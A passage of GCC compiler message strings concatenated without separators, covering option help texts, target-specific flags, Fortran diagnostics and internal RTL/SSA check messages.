copy-propagation optimization passPerform a register renaming optimization passPerform branch target load optimization after prologue / epilogue threadingPerform branch target load optimization before prologue / epilogue threadingPerform cloning to make Interprocedural constant propagation strongerPerform conversion of conditional jumps to branchless equivalentsPerform conversion of conditional jumps to conditional executionPerform conversions of switch initializations.Perform cross-jumping optimizationPerform early inliningPerform enhanced load motion during global common subexpression eliminationPerform global common subexpression eliminationPerform global common subexpression elimination after register allocationPerform indirect inliningPerform interprocedural points-to analysisPerform jump threading optimizationsPerform live range splitting during the SSA->normal passPerform loop peelingPerform loop unrolling for all loopsPerform loop unrolling when iteration count is knownPerform loop unswitchingPerform matrix layout flattening and transposing basedPerform redundant load after store elimination in global common subexpressionPerform scalar replacement of aggregatesPerform sequence abstraction optimization on RTLPerform software pipelining of inner loops during selective schedulingPerform software pipelining of outer loops during selective schedulingPerform store motion after global common subexpression eliminationPerform structure layout optimizations basedPerform superblock formation via tail duplicationPerform unused type elimination in debug infoPerform variable trackingPerform variable tracking and also tag variables that are uninitializedPerform whole program optimizationsPeriod required in format specifier at %CPermit '$' as an identifier characterPermit nonconforming uses of the tab characterPermit scheduling of a function's prologue sequencePermit the use of the assert keywordPermit universal character names (\u and \U) in identifiersPlace a stop bit after every cycle when schedulingPlace data items into their own sectionPlace each function into its own sectionPlace floating point constants in TOCPlace output into <file>Place symbol+offset constants in TOCPlease submit a full bug report,
with preprocessed source if appropriate.
See %s for instructions.
Pointer array component of structure at %C must have a deferred shapePointer assignment target has PROTECTED attribute at %LPointer assignment target is neither TARGET nor POINTER at %LPointer assignment target is not a POINTER at %LPointer assignment to non-POINTER at %LPointer assignment with vector subscript on rhs at %LPointer bounds remapping at %L is not yet implemented in gfortranPointer initialization at %C requires '=>', not '='Pointer initialization requires a NULL() at %CPointer-array actual argument at %L requires an assumed-shape or pointer-array dummy argument '%s' due to VOLATILE attributePointers are 32-bitPointers are 64-bitPolymorphic entities are not yet implemented, non-polymorphic passed-object dummy argument of '%s' at %L acceptedPositive exponent width requiredPositive width requiredPositive width required with T descriptorPossible frontend bug: Deferred array size without pointer, allocatable attribute or derived type without allocatable components.Prefer branches over conditional executionPrefer word accesses over byte accessesPrepend global symbols with ":" (for use with PREFIX)Prepend the name of the cpu to all public symbol namesPreprocess directives only.Pretend a branch-around-a-move is a conditional move.Pretend that branches are expensivePrevent the use of all floating-point operationsPrevent the use of all hardware floating-point instructionsPrint a checksum of the executable for PCH validity checking, and stopPrint code coverage information.

Print extra (possibly unwanted) warningsPrint the name of header files as they are usedProcedure '%s' at %C has an explicit interface and must not have attributes declared at %LProcedure '%s' at %C is already defined at %LProcedure '%s' at %L has the same name as a component of '%s'Procedure '%s' at %L has the same name as an inherited component of '%s'Procedure '%s' at %L must have the BIND(C) attribute to be C interoperableProcedure '%s' called with an implicit interface at %LProcedure '%s' in %s at %L has no explicit interfaceProcedure '%s' in %s at %L is neither function nor subroutineProcedure '%s' with PASS at %L must have at least one argumentProcedure '%s' with PASS(%s) at %L has no argument '%s'Procedure argument at %L is INTENT(IN) while interface specifies INTENT(%s)Procedure argument at %L is local to a PURE procedure and has the POINTER attributeProcedure argument at %L is local to a PURE procedure and is passed to an INTENT(%s) argumentProcess #ident directivesProcessing spec %c%s%c, which is '%s'
Produce a backtrace when a runtime error is encounteredProduce a warning at runtime if a array temporary has been created for a procedure argumentProduce big endian codeProduce code relocatable at runtimeProduce little endian codeProfiler support for CRXProgram is entirely located in low 64k of memoryProhibit PC relative function callsProvide libraries for the simulatorPut MODULE files in 'directory'Put data in SECTIONPut everything in the regular TOCPut functions in SECTIONPut global and static data smaller than <number> bytes into a special section (on some targets)Put jumps in call delay slotsPut read-only data in SECTIONPut uninitialized constants in ROM (needs -membedded-data)Put zero initialized data in the bss sectionRESULT variable at %C must be different than function nameRETURN_ADDRESS_OFFSET not supportedRTL check: access of elt %d of '%s' with last elt %d in %s, at %s:%dRTL check: access of elt %d of vector with last elt %d in %s, at %s:%dRTL check: attempt to treat non-block symbol as a block symbol in %s, at %s:%dRTL check: expected code '%s' or '%s', have '%s' in %s, at %s:%dRTL check: expected code '%s', have '%s' in %s, at %s:%dRTL check: expected elt %d type '%c' or '%c', have '%c' (rtx %s) in %s, at %s:%dRTL check: expected elt %d type '%c', have '%c' (rtx %s) in %s, at %s:%dRTL flag check: %s used with unexpected rtx code '%s' in %s, at %s:%dRTP PIC is incompatible with -msingle-pic-baseRTP PIC is incompatible with ThumbRange specification at %L can never be matchedRank mismatch in argument '%s' at %L (%d and %d)Rank mismatch in array reference at %L (%d/%d)Ratio between virtual mappings and virtual symbols to do full virtual renamesReading file '%s' as free formReading module %s at line %d column %d: %sReading specs from %s
Real constant overflows its kind at %CReal constant underflows its kind at %CReal number at %C has a 'd' exponent and an explicit kindRealign stack in prologueRecognize C++ keywords like "compl" and "xor"Recognize GNU-defined keywordsRecognize built-in functionsRecognize the "asm" keywordRecord gcc command line switches in the object file.Reduce the amount of reflection meta-data generatedReduce the size of object filesRelax branchesRemap file names when including filesRemove redundant membarsReorder basic blocks and partition into hot and cold sectionsReorder basic blocks to improve code placementReorder functions to improve code placementReorder top level functions, variables, and asmsRepeat count cannot follow P descriptorReplace SSA temporaries with better names in copiesReplace add, compare, branch with branch on count registerReplace system pathReplace temporary expressions in the SSA->normal passReport on memory allocation before interprocedural optimizationReport on permanent memory allocationReport the time taken by each compiler passRequest IEEE-conformant math library routines (OSF/1)Reschedule instructions after register allocationReschedule instructions before register allocationReschedule pipelined regions without pipeliningReserve space for outgoing arguments in the function prologueRestrict doloop to the given nesting levelRestrict target load migration not to re-use registers in any basic blockRestrict the use of hardware floating-point instructions to 32-bit operationsResult '%s' of contained function '%s' at %L has no IMPLICIT typeResult of %s gives range error for its kind at %LResult of %s is NaN at %LResult of %s overflows its kind at %LResult of %s underflows its kind at %LResult of NEAREST is NaN at %LResult of SCALE overflows its kind at %LReturn all structures in memory (AIX default)Return floating-point results in ac0 (fr0 in Unix assembler syntax)Return pointers in both a0 and d0Return small aggregates in memory, not registersReturn small aggregates in registersReturn small structures in registers (SVR4 default)Return type of BIND(C) function '%s' at %L cannot be a character stringReturn type of BIND(C) function '%s' at %L cannot be an arrayReturn value '%s' of function '%s' declared at %L not setReturn value of function '%s' at %L not setReturn values of functions in FPU registersReuse r30 on a per function basisRightmost upper bound of assumed size array section not specified at %LRun predictive commoning optimization.Run selective scheduling after reloadRuntime name.SAVE attribute at %L cannot be specified in a PURE procedureSAVE statement at %C follows blanket SAVE statementSCHEDULE clause's chunk_size at %L requires a scalar INTEGER expressionSEQUENCE attribute at %C already specified in TYPE statementSEQUENCE statement at %C must precede CONTAINSSEQUENCE statement at %C must precede structure componentsSH2a does not support little-endianSHAPE parameter for call to %s at %L must be a rank 1 INTEGER arraySHIFT argument at %L of CSHIFT must have rank %d or be a scalarSHIFT argument at %L of EOSHIFT must have rank %d or be a scalarSSA corruptionSSA name in freelist but still referencedSSA_NAME created in two different blocks %i and %iSSA_NAME_DEF_STMT is wrongSSA_NAME_OCCURS_IN_ABNORMAL_PHI should be setSSE instruction set disabled, using 387 arithmeticsSSE register argument with SSE disabledSSE register return with SSE disabledSSE vector argument without SSE enabled changes the ABISSE vector return without SSE enabled changes the ABISTAT tag in %s statement at %L must be of type INTEGERSTAT variable '%s' of %s statement at %C cannot be INTENT(IN)SUBROUTINE '%s' at %L cannot be called recursively, as it is not RECURSIVESUBROUTINE at %C does not belong in a generic function interfaceSame actual argument associated with INTENT(%s) argument '%s' and INTENT(%s) argument '%s' at %LSame as -fassociative-math for expressions which include division.Same as: -mep -mprolog-functionSave registers around function callsScalar '%s' in FORMAT tag at %L is not an ASSIGNED variableScalar PARAMETER required in complex constant at %CScalar object '%s' at %L may not be ALLOCATABLESchedule code for given CPUSchedule given CPUSchedule instructions using selective scheduling algorithmSchedule the start and end of the procedureScope of for-init-statement variables is local to the loopSecond argument MOD at %L is zeroSecond argument of IBCLR exceeds bit size at %LSecond argument of IBSET exceeds bit size at %LSecond argument of MOD at %L is zeroSecond argument of MODULO at %L is zeroSecond argument of NEAREST at %L shall not be zeroSecond argument of defined assignment at %L must be INTENT(IN)Second argument of operator interface at %L cannot be optionalSecond argument of operator interface at %L must be INTENT(IN)Section anchors must be disabled when unit-at-a-time is disabled.Segmentation FaultSegmentation Fault (code)Select ABI calling conventionSelect GPR floating point methodSelect fraction of the maximal count of repetitions of basic block in program given basic block needs to have to be considered hotSelect fraction of the maximal frequency of executions of basic block in function given basic block get alignmentSelect fraction of the maximal frequency of executions of basic block in function given basic block needs to have to be considered hotSelect full, part, or no traceback tableSelect method for sdata handlingSelect the target MCUSelection expression in computed GOTO statement at %L must be a scalar integer expressionSemicolon at %C needs to be preceded by statementSet 80387 floating-point precision (-mpc32, -mpc64, -mpc80)Set <dir> to be the system root directorySet Windows definesSet class pathSet default accessibility of module entities to PRIVATE.Set dependence distance checking in premature scheduling of queued insnsSet errno after built-in math functionsSet initial maximum structure member alignmentSet number of queued insns that can be prematurely scheduledSet optimization level to <number>Set parameter <param> to value.  See below for a complete list of parametersSet sizeof(bool) to 1Set start-address of dataSet start-address of the programSet the PPC_EMB bit in the ELF flags headerSet the cost of branchesSet the cost of branches to roughly COST instructionsSet the default double precision kind to an 8 byte wide typeSet the default integer kind to an 8 byte wide typeSet the default real kind to an 8 byte wide typeSet the default symbol visibilitySet the default thread-local storage code generation modelSet the extension directory pathSet the file basename to be used for dumpsSet the max size of data eligible for the SDA areaSet the max size of data eligible for the TDA areaSet the max size of data eligible for the ZDA areaSet the max. number of bytes which has to be left to stack size before a trap instruction is triggeredSet the maximum amount for a single stack increment operationSet the source language versionSet the target CPU typeSet the target VM versionSet the top-level directory for storing the profile data.Set the verbosity level of the schedulerSet the verbosity level of the vectorizerSetting spec %s to '%s'

Shape specification at %L cannot be negativeShape specification at %L cannot be the null arrayShapes for operands at %L and %L are not conformableShare slots for saving different hard registers.Share stack slots for spilled pseudo-registers.Shorten address references during linkingShow column numbers in diagnostics, when available.  Default offSingle-precision floating point unitSize in bytes of the largest array that will be put on the stackSize of '%s' argument of '%s' intrinsic at %L too small (%i/%i)Small data area: none, sdata, useSoft limit on number of memory insns per instruction group, giving lower priority to subsequent memory insns attempting to schedule in the same insn group. Frequently useful to prevent cache bank conflicts.  Default value is 1Spe not supported in this targetSpecification function '%s' at %L cannot be RECURSIVESpecification function '%s' at %L cannot be a statement functionSpecification function '%s' at %L cannot be an internal functionSpecification function '%s' at %L must be PURESpecify <path> as a prefix for next two optionsSpecify ABI to useSpecify CPU for code generation purposesSpecify CPU for scheduling purposesSpecify CPU for scheduling purposes.  Valid arguments are 700, 7100, 7100LC, 7200, 7300, and 8000Specify FP (sp, dp, sp-lite, dp-lite) (implies -mxilinx-fpu)Specify UNIX standard for predefines and linkingSpecify Xilinx FPU.Specify alignment of structure fields default/naturalSpecify an ABISpecify bit size of immediate TLS offsetsSpecify cache flush functionSpecify cache flush trap numberSpecify cost of branches (Default 20)Specify how to access the thread pointerSpecify if floating point hardware should be usedSpecify main object for TPF-OSSpecify maximum template instantiation depthSpecify name for 32 bit signed division functionSpecify options to GNATSpecify range of registers to make fixedSpecify scheduling priority for dispatch slot restricted insnsSpecify size of long double (64 or 128 bits)Specify that an external BLAS library should be used for matmul calls on large-size arraysSpecify that arguments may alias each other and globalsSpecify that backslash in string introduces an escape characterSpecify that no implicit typing is allowed, unless overridden by explicit IMPLICIT statementsSpecify the default character set for source filesSpecify the minimum bit alignment of structuresSpecify the name of the target CPUSpecify the name of the target architectureSpecify the name of the target floating point hardware/formatSpecify the register allocation orderSpecify the register to be used for PIC addressingSpecify the target CPUSpecify when instructions are allowed to access codeSpecify when r10k cache barriers should be insertedSpecify where to find the compiled intrinsic modulesSpecify whether the byte access instructions should be used. Enabled by default.Specify which post scheduling nop insertion scheme to applySpecify which type of AE to target. This option sets the mul-type and byte-access.Specify which type of multiplication to use. Can be mem, mac or none.Split lifetimes of induction variables when loops are unrolledSplit wide types into independent registersStatement at %L is not a valid branch target statement for the branch statement at %LStatement function '%s' at %L is not allowed as an actual argumentStatement function '%s' requires argument list at %CStatement function at %L is recursiveStatement label at %C is zeroStatement label in ENDDO at %C doesn't match DO labelStatement label list in GOTO at %C cannot be emptyStatic linking is not supported.
Statically link the GNU Fortran helper library (libgfortran)Step expression in DO loop at %L cannot be zeroStop forward growth if the probability of best edge is less than this threshold (in percent). Used when profile feedback is availableStop forward growth if the probability of best edge is less than this threshold (in percent). Used when profile feedback is not availableStop on following floating point exceptionsStop reverse growth if the reverse probability of best edge is less than this threshold (in percent)Store function names in object codeStructure component '%s' at %L cannot be an EQUIVALENCE objectSubroutine '%s' at %L is INTRINSIC but is not compatible with an intrinsicSubroutine '%s' called instead of assignment at %L must be PURESubroutine call to '%s' at %L is not PURESubroutine call to '%s' in FORALL block at %L is not PURESubroutine call to intrinsic '%s' at %L is not PURESubstring at %L has length zeroSubstring end index at %L exceeds the string lengthSubstring end index at %L must be of type INTEGERSubstring end index at %L must be scalarSubstring start index at %L is less than oneSubstring start index at %L must be of type INTEGERSubstring start index at %L must be scalarSum of second and third arguments of IBITS exceeds bit size at %LSupport 3DNow! built-in functionsSupport AES built-in functions and code generationSupport Athlon 3Dnow! built-in functionsSupport Green Hills ABISupport ISO C trigraphsSupport MMX and SSE built-in functions and code generationSupport MMX built-in functionsSupport MMX, SSE and SSE2 built-in functions and code generationSupport MMX, SSE, SSE2 and SSE3 built-in functions and code generationSupport MMX, SSE, SSE2, SSE3 and SSE4A built-in functions and code generationSupport MMX, SSE, SSE2, SSE3 and SSSE3 built-in functions and code generationSupport MMX, SSE, SSE2, SSE3, SSSE3 and SSE4.1 built-in functions and code generationSupport MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1 and SSE4.2 built-in functions and code generationSupport MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2 and AVX built-in functions and code generationSupport MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, AVX and FMA built-in functions and code generationSupport PCLMUL built-in functions and code generationSupport SCORE 3 ISASupport SCORE 3d ISASupport SCORE 5 ISASupport SCORE 5U ISASupport SCORE 7 ISASupport SCORE 7D ISASupport SSE5 built-in functions and code generationSupport calls between Thumb and ARM instruction setsSupport code generation of Advanced Bit Manipulation (ABM) instructions.Support code generation of cmpxchg16b instruction.Support code generation of popcnt instruction.Support code generation of sahf instruction in 64bit x86-64 code.Support legacy multi-threadingSupport message passing with the Parallel EnvironmentSupport more than 8192 GOT entries on ColdFireSupport multi-threadingSupport multiply accumulate instructionsSupport synchronous non-call exceptionsSuppress output of addresses in debugging dumpsSuppress output of instruction numbers, line number notes and addresses in debugging dumpsSuppress warningsSwap endianness for unformatted filesSwitch on/off MIPS16 ASE on alternating functions for compiler testingSymbol '%s' already declaredSymbol '%s' at %C has already been host associatedSymbol '%s' at %C is already an external symbol that is not COMMONSymbol '%s' at %C is already in a COMMON blockSymbol '%s' at %C is ambiguousSymbol '%s' at %C must be a NAMELIST group nameSymbol '%s' at %L already has an explicit interfaceSymbol '%s' at %L cannot have a typeSymbol '%s' at %L has no IMPLICIT typeSymbol '%s' at %L is ambiguousSymbol '%s' at %L is marked PRIVATE but has been given the binding label '%s'Symbol '%s' in COMMON at %C cannot be a POINTER arraySymbol '%s' in namelist '%s' is INTENT(IN) at %CSymbol '%s' is used before it is typed at %LSymbol '%s' must be a PARAMETER in DATA statement at %CSymbol '%s' present on multiple clauses at %LSymbol '%s' referenced at %L does not exist in intrinsic module ISO_C_BINDING.Symbol '%s' referenced at %L does not exist in intrinsic module ISO_FORTRAN_ENVSymbol '%s' referenced at %L not found in intrinsic module ISO_C_BINDINGSymbol '%s' referenced at %L not found in intrinsic module ISO_FORTRAN_ENVSymbol '%s' referenced at %L not found in module '%s'Symbol '%s', in COMMON block '%s' at %C is being indirectly equivalenced to another COMMON block '%s'Symbol at %C is not appropriate for an expressionSymbol at %L is not a DUMMY variableSynonym for -WcommentSyntax error in !$OMP THREADPRIVATE list at %CSyntax error in %s statement at %CSyntax error in ABSTRACT INTERFACE statement at %CSyntax error in CASE-specification at %CSyntax error in CHARACTER declaration at %CSyntax error in COMPLEX constant at %CSyntax error in ENUMERATOR definition at %CSyntax error in EQUIVALENCE statement at %LSyntax error in FORALL iterator at %CSyntax error in I/O iterator at %CSyntax error in IF-clause at %CSyntax error in IF-expression at %CSyntax error in IMPORT statement at %CSyntax error in NAME= specifier for binding label at %CSyntax error in OpenMP variable list at %CSyntax error in PROCEDURE statement at %CSyntax error in PROTECTED statement at %CSyntax error in SAVE statement at %CSyntax error in SUBSTRING specification at %CSyntax error in VALUE statement at %CSyntax error in VOLATILE statement at %CSyntax error in argument list at %CSyntax error in array constructor at %CSyntax error in character length specification at %CSyntax error in common block name at %CSyntax error in data declaration at %CSyntax error in expression at %CSyntax error in generic specification at %CSyntax error in iterator at %CSyntax error in structure constructor at %CSyntax error: Trailing garbage in END INTERFACE statement at %CSyntax error: Trailing garbage in INTERFACE statement at %CTHREADPRIVATE object '%s' in %s clause at %LTHREADPRIVATE object '%s' in SHARED clause at %LTaken at least once:%s of %d
Target DFLOAT double precision codeTarget has split I&DTarget the AM33 processorTarget the AM33/2.0 processorTarget: %s
The --param option recognizes the following as parametersThe ABI of passing struct with a flexible array member has changed in GCC 4.4The ABI of passing structure with complex float member has changed in GCC 4.4The ABI of passing union with long double has changed in GCC 4.4The C parser does not support -dy, option ignoredThe C++ parser does not support -dy, option ignoredThe CHARACTER elements of the array constructor at %L must have the same length (%d/%d)The DEFAULT CASE at %L cannot be followed by a second DEFAULT CASE at %LThe FORALL with index '%s' is not used on the left side of the assignment at %L and so might cause multiple assignment to this objectThe H format specifier at %C is a Fortran 95 deleted featureThe Hollerith constant at %L is too long to convert to %sThe INTENT(OUT) dummy argument '%s' at %L is ASSUMED SIZE and so cannot have a default initializerThe NULL in the derived type constructor at %L is being applied to component '%s', which is neither a POINTER nor ALLOCATABLEThe Objective-C parser does not support -dy, option ignoredThe Objective-C++ parser does not support -dy, option ignoredThe STAT variable '%s' in an ALLOCATE statement must not be allocated in the same statement at %LThe argument list functions %%VAL, %%LOC or %%REF are not allowed in this context at %LThe average number of virtual operators that memory statements are allowed to have before triggering memory partitioning heuristicsThe derived type '%s' at %L is of type '%s', which has not been definedThe earliest MacOS X version on which this program will runThe element in the derived type constructor at %L, for pointer component '%s' should be a POINTER or a TARGETThe element in the derived type constructor at %L, for pointer component '%s', is %s but should be %sThe equivalence set for '%s' cause an invalid extension to COMMON '%s' at %LThe equivalence set for variable '%s' declared at %L violates alignment requirementsThe following options are language-independentThe following options are language-relatedThe following options are not documentedThe following options are specific to just the language The following options are supported by the language The following options are target specificThe following options control compiler warning messagesThe following options control optimizationsThe following options take joined argumentsThe following options take separate argumentsThe impure variable at %L is assigned to a derived type variable with a POINTER component in a PURE procedure (12.6)The intrinsic '%s' at %L is not included in the selected standard but %s and '%s' will be treated as if declared EXTERNAL.  Use an appropriate -std=* option or define -fall-intrinsics to allow this intrinsic.The intrinsic '%s' declared INTRINSIC at %L is not available in the current standard settings but %s.  Use an appropriate -std=* option or enable -fall-intrinsics in order to use it.The lower bound for a buffer to be considered for stack smashing protectionThe maximum amount of memory to be allocated by GCSEThe maximum conflict delay for an insn to be considered for speculative motionThe maximum depth of recursive inlining for inline functionsThe maximum depth of recursive inlining for non-inline functionsThe maximum expansion factor when copying basic blocksThe maximum instructions CSE process before flushingThe maximum length of path considered in cseThe maximum length of scheduling's pending operations listThe maximum memory locations recorded by cselibThe maximum number of RTL nodes that can be recorded as combiner's last valueThe maximum number of blocks in a region to be considered for interblock schedulingThe maximum number of incoming edges to consider for crossjumpingThe maximum number of insns in a region to be considered for interblock schedulingThe maximum number of insns of a completely peeled loopThe maximum number of insns of a peeled loopThe maximum number of insns of a peeled loop that rolls only onceThe maximum number of insns of an unswitched loopThe maximum number of insns to duplicate when unfactoring computed gotosThe maximum number of instructions in a single function eligible for inliningThe maximum number of instructions inline function can grow to via recursive inliningThe maximum number of instructions non-inline function can grow to via recursive inliningThe maximum number of instructions ready to be issued to be considered by the scheduler during the first scheduling passThe maximum number of instructions to consider to fill a delay slotThe maximum number of instructions to consider to find accurate live register informationThe maximum number of instructions to consider to unroll in a loopThe maximum number of instructions to consider to unroll in a loop on averageThe maximum number of instructions to search backward when looking for equivalent reloadThe maximum number of instructions when automatically inliningThe maximum number of iterations through CFG to extend regionsThe maximum number of loop iterations we predict staticallyThe maximum number of passes to make when doing GCSEThe maximum number of peelings of a single loopThe maximum number of peelings of a single loop that is peeled completelyThe maximum number of structure fields for which GCC will use by-element copiesThe maximum number of unrollings of a single loopThe maximum number of unswitchings in a single loopThe maximum number of virtual operators that a function is allowed to have before triggering memory partitioning heuristicsThe maximum ratio between array size and switch branches for a switch conversion to take placeThe maximum size of the lookahead window of selective schedulingThe maximum structure size (in bytes) for which GCC will use by-element copiesThe minimal probability of speculation success (in percents), so that speculative insn will be scheduled.The minimum cost of an expensive expression in the loop invariant motionThe minimum number of matching instructions to consider for crossjumpingThe minimum probability of reaching a source block for interblock speculative schedulingThe module or main program array '%s' at %L must have constant shapeThe name '%s' at %C has already been used as an external module name.The name '%s' cannot be used as a defined operator at %CThe number of cycles the swing modulo scheduler considers when checking conflicts using DFAThe number of elements in the array constructor at %L requires an increase of the allowed %d upper limit.   See -fmax-array-constructor optionThe number of insns executed before prefetch is completedThe number of prefetches that can run at the same timeThe percentage of function, weighted by execution frequency, that must be covered by trace formation. Used when profile feedback is availableThe percentage of function, weighted by execution frequency, that must be covered by trace formation. Used when profile feedback is not availableThe pointer component '%s' of '%s' at %L is a type that has not been declaredThe rank of the element in the derived type constructor at %L does not match that of the component (%d/%d)The size of L1 cacheThe size of L1 cache lineThe size of L2 cacheThe size of function body to be considered largeThe size of stack frame to be considered largeThe size of translation unit to be considered largeThe threshold ratio between current and hottest structure countsThe threshold ratio between instantiated fields and the total structure sizeThe threshold ratio for performing partial redundancy elimination after reloadThe threshold ratio of critical edges execution count that permit performing redundancy elimination after reloadThe type '%s' cannot be host associated at %L because it is blocked by an incompatible object of the same name declared at %LThe type for function '%s' at %L is not accessibleThe upper bound for sharing integer constantsThe upper bound in the last dimension must appear in the reference to the assumed size array '%s' at %LThe value of n in -finit-character=n must be between 0 and 127There is no specific function for the generic '%s' at %LThere is no specific subroutine for the generic '%s' at %LThere's already a non-generic procedure with binding name '%s' for the derived type '%s' at %CThere's already a procedure with binding name '%s' for the derived type '%s' at %CThis is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or 
FITNESS FOR A PARTICULAR PURPOSE.

This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

This switch is deprecated; use -Werror=implicit-function-declaration insteadThis switch is deprecated; use -Wextra insteadThis switch lacks documentationThread model: %s
Threadprivate at %L isn't SAVEdThreadprivate variable at %C is an element of a COMMON blockThrottle unrolling to avoid thrashing target registers unless the unroll benefit outweighs thisThumb-2 iWMMXtThumb: Assume function pointers may go to non-Thumb aware codeThumb: Assume non-static functions may be called from ARM codeThumb: Generate (leaf) stack frames even if not neededThumb: Generate (non-leaf) stack frames even if not neededTo enable preprocessing, use -cppTogether with -fpic and -fPIC, do not use GOTPLT referencesToo many ALU instructions emitted (%d)
Too many arguments in call to '%s' at %LToo many arguments to %s at %LToo many components in structure constructor at %C!Too many digits in STOP code at %CToo many digits in statement label at %CToo many dimensions in shape specification for RESHAPE at %LToo many loop exits recordedToplevel reorder must be disabled when unit-at-a-time is disabled.Trampoline support for CRXTransform condition stores into unconditional onesTrap for signed overflow in addition, subtraction and multiplicationTrap if the stack goes past <register>Trap if the stack goes past symbol <name>Trap on integer divide by zeroTreat all warnings as errorsTreat lines with 'D' in column one as commentsTreat missing header files as generated filesTreat signed overflow as undefinedTreat specified warning as errorTreat the input file as already preprocessedTry 'jcf-dump --help' for more information.
Try running '%s' in the shell to raise its limit.
Try to lay out derived types as compactly as possibleTune alignment for the specified chip or CPU versionTune code for the given processorTune expected memory latencyTune for the specified target CPU or architectureTwo main PROGRAMs at %L and %CTwo or more part references with nonzero rank must not be specified at %LType '%s' at %L is a parameter to the BIND(C)  procedure '%s' but is not C interoperable because derived type '%s' is not C interoperableType based escape and alias analysisType declaration '%s' at %L is not C interoperable but it is BIND(C)Type mismatch in argument '%s' at %L; passed %s to %sType name '%s' at %C cannot be the same as an intrinsic typeType name '%s' at %C is ambiguousType of argument '%s' in call to '%s' at %L should be %s, not %sType specified for intrinsic function '%s' at %L is ignoredType/rank mismatch in argument '%s' at %LTypes mismatch for dummy argument '%s' of '%s' %L in in respect to the overridden procedureUNIT specification at %L must be an INTEGER expression or a CHARACTER variableUNKNOWN in print_operand !?Unable to find a specific INTRINSIC procedure for the reference '%s' at %LUnable to resolve the specific function '%s' at %LUnable to resolve the specific subroutine '%s' at %LUnclassifiable OpenMP directive at %CUnclassifiable statement at %CUnclassifiable statement in IF-clause at %CUndefine <macro>Undefined specific binding '%s' as target of GENERIC '%s' at %LUnequal character lengths (%ld/%ld) in %s at %LUnexpected %s statement at %CUnexpected %s statement at %C in INTERFACE bodyUnexpected %s statement in BLOCK DATA at %CUnexpected %s statement in CONTAINS section at %CUnexpected %s statement in FORALL block at %CUnexpected %s statement in INTERFACE block at %CUnexpected %s statement in MODULE at %CUnexpected %s statement in WHERE block at %CUnexpected CASE statement at %CUnexpected END statement at %CUnexpected EOFUnexpected alternate return spec in subroutine call at %LUnexpected character in variable list at %CUnexpected characters in PARAMETER statement at %CUnexpected element '%c' in format string at %LUnexpected end of file in '%s'Unexpected end of format stringUnexpected end of moduleUnexpected end of module in string constantUnexpected junk after ELSE IF statement at %CUnexpected junk after ELSE statement at %CUnexpected junk after function declaration at %CUnexpected junk in formal argument list at %CUnexpected type in truthvalue_conversionUnexpected use of subroutine name '%s' at %CUnidentifiable call opUnknown architecture '%s'Unknown argument list function at %LUnknown destUnknown intrinsic opUnknown long branch in %s (type %d)
Unknown mode in print_operand (CONST_DOUBLE) :Unknown operator '%s' at %%LUnknown procedure name "%s" at %CUnknown short branch in %s (type %d)
Unknown srcUnknown switch -mlong-double-%sUnknown value %qs of -mmacosx-version-minUnrecognized GIMPLE statement during RTL expansionUnrecognized option to -finit-logical: %sUnrecognized option to -finit-real: %sUnsupported statement inside WHERE at %LUnterminated character constant beginning at %CUnused dummy argument '%s' at %LUnused parameter '%s' declared at %LUnused variable '%s' declared at %LUpper array reference at %L is out of bounds (%ld < %ld) in dimension %dUpper array reference at %L is out of bounds (%ld > %ld) in dimension %dUsage: %s [OPTIONS]... CLASSNAMEmain [OUTFILE]
Usage: %s [options] file...
Usage: gcov [OPTION]... SOURCEFILE...

Usage: jcf-dump [OPTION]... CLASS...

Use "-Wa,OPTION" to pass "OPTION" to the assembler.

Use "-Wl,OPTION" to pass "OPTION" to the linker.

Use -G for data that is not defined by the current objectUse -G for object-local dataUse 128-bit long doubleUse 16 bit intUse 16-bit abs patternsUse 32 bit floatUse 32 bit intUse 32-bit ABIUse 32-bit floating-point registersUse 32-bit general registersUse 4 byte entries in switch tablesUse 4 media accumulatorsUse 4xx half-word multiply instructionsUse 4xx string-search dlmzb instructionUse 64 FPRsUse 64 GPRsUse 64 bit floatUse 64-bit ABIUse 64-bit floating-point registersUse 64-bit general registersUse 64-bit long doubleUse 8 media accumulatorsUse ABI reserved registersUse AltiVec instructionsUse Branch Likely instructions, overriding the architecture defaultUse CONST16 instruction to load constantsUse EABIUse FUNC to flush the cache before calling stack trampolinesUse GNU libc instead of uClibcUse GP relative sdata/sbss sectionsUse GP-relative addressing to access small dataUse H8/300 alignment rulesUse IEEE math for fp comparisonsUse MIPS-3D instructionsUse MIPS-DSP REV 2 instructionsUse MIPS-DSP instructionsUse Mingw-specific thread supportUse Neon quad-word (rather than double-word) registers for vectorizationUse NewABI-style %reloc() assembly operatorsUse P-mnemonics for branches statically predicted as takenUse PMC-style 'mad' instructionsUse POWER instruction setUse POWER2 instruction setUse PowerPC General Purpose group optional instructionsUse PowerPC Graphics group optional instructionsUse PowerPC V2.01 single field mfcr instructionUse PowerPC V2.02 floating point rounding instructionsUse PowerPC V2.02 popcntb instructionUse PowerPC V2.05 compare bytes instructionUse PowerPC instruction setUse PowerPC-64 instruction setUse ROM instead of RAMUse SSE register passing conventions for SF and DF modeUse SmartMIPS instructionsUse UNIX assembler syntaxUse UltraSPARC Visual Instruction Set extensionsUse VAX fpUse VAXC structure conventionsUse __cxa_atexit to register destructorsUse __cxa_get_exception_ptr in exception handlingUse a 32-bit long typeUse a 4-byte record marker for unformatted filesUse a 64-bit long typeUse a stack protection method for every functionUse addresses that allocate global registersUse alternate register namesUse an 8-bit 'int' typeUse an 8-byte record marker for unformatted filesUse arbitrary sized immediates in bit operationsUse big-endian byte orderUse big-endian format for unformatted filesUse branch-and-break sequences to check for integer divide by zeroUse bras for executable < 64kUse call and rtc for function calls and returnsUse call-clobbered registers for parameters and return valueUse class <name> for constant stringsUse control speculationUse data speculation after reloadUse data speculation before reloadUse decimal floating point instructionsUse different calling convention using 'rtd'Use direct addressing mode for soft registersUse direct references against %gs when accessing tls dataUse epsilon-respecting floating point compare instructionsUse expression value profiles in optimizationsUse extended PowerPC V2.05 move floating point to/from GPR instructionsUse f2c calling conventionUse features of and schedule code for given CPUUse features of and schedule given CPUUse fp double instructionsUse fp registersUse given SPARC-V9 code modelUse given assembler dialectUse given thread-local storage dialectUse given x86-64 code modelUse hardware FPUse hardware division instructions on ColdFireUse hardware floating pointUse hardware fpUse hardware quad FP instructionsUse in block control speculationUse in block data speculation after reloadUse in block data speculation before reloadUse in/loc/out register namesUse 